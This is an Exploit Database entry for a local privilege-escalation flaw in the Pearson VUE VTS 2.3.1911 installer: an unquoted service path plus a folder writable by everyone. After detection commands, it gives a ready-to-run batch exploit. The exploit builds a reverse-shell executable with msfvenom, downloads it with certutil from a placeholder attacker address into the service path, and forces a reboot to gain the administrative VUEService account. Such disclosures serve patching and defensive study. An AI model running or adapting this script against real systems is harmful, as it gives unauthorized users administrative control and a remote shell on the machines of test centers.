Pearson Vue VTS 2.3.1911 Installer – VUEApplicationWrapper Unquoted Service Path

• Exploit Database
• 14 阅读

• 作者： Jok3r
  日期： 2020-12-01
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49143/

• # Exploit Title: Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path
  # Discovery by: Jok3r
  # Discovery Date: 2020-09-14
  # Vendor Homepage: https://home.pearsonvue.com/
  # Software Link: https://vss.pearsonvue.com/VSSFiles/Documents/ENU_TCInstallGuide/Download_VTS_Installer.htm
  # Tested Version: 2.3.1911
  # Vulnerability Type: Unquoted Service Path
  # Tested on OS: Windows 10 Pro x64 es
  
  #Description:
  
  The Application Wrapper is the component that automates the Pearson VUE Testing System. The Wrapper is a scheduler that runs in the background on the test center’s server.
  VUEApplicationWrapper service has an unquoted service path vulnerability and insecure file permissions on "\Pearson VUE\" directory that allows to overwrite by everyone so that unauthorized local user can leverage privileges to VUEService user that has administrative rights.
  
  # Detection of unquoted service path:
  
  C:\Users\VUEService>wmic service get name, pathname, displayname, startmode| findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Pearson" |findstr /i /v """
  VUE Application Wrapper
  VUEApplicationWrapper C:\Pearson VUE\VUE
  Testing System\bin\VUEWrapper.exe
  Auto
  
  C:\Users\VUEService>sc qc VUEApplicationWrapper
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: VUEApplicationWrapper
  TYPE : 10 WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL : 1 NORMAL
  BINARY_PATH_NAME : C:\Pearson VUE\VUE TestingSystem\bin\VUEWrapper.exe
  LOAD_ORDER_GROUP :
  TAG : 0
  DISPLAY_NAME : VUE Application Wrapper
  DEPENDENCIES : lanmanworkstation
  SERVICE_START_NAME : .\VUEService
  
  
  #Detection of insecure file permissions:
  
  PS C:\Users\VUEService> Get-Acl -Path "c:\Pearson Vue\"
  
  
  Directory: C:\
  
  
  Path Owner Access
  ---- ----- ------
  Pearson Vue BUILTIN\Administrators Everyone Allow FullControl...
  
  
  #Exploit code:
  
  ECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i"Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
  wmic service get name,pathname,displayname,startmode | findstr /i "Auto" |findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """
  sc qc VUEApplicationWrapper
  powershell.exe -ep bypass -nop -c "Get-Acl -Path 'c:\Pearson Vue\'"
  ECHO [+] Enumeration was completed successfully.
  ::Create VUE.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell.
  ::msfvenom -p windows/x64/shell/reverse_tcp LHOST=<Your IP Address>LPORT=443 -f exe > VUE.exe
  ECHO [*] If you create VUE.exe under "\Pearson VUE\" directory with your privileges, you might be able to get VUEService user privileges after windows was rebooted.
  certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/VUE.exe "C:\PearsonVUE\VUE.exe"
  ECHO [*] Downloading VUE executable...
  PAUSE
  IF EXIST "C:\Pearson VUE\VUE.exe" (
  ECHO [+] The download was successful.
  ) ELSE (
  ECHO [-] The download was unsuccessful.
  PAUSE
  )
  ECHO [!] If you continue, system will be rebooted.
  PAUSE
  shutdown /r /t 0
  ::code end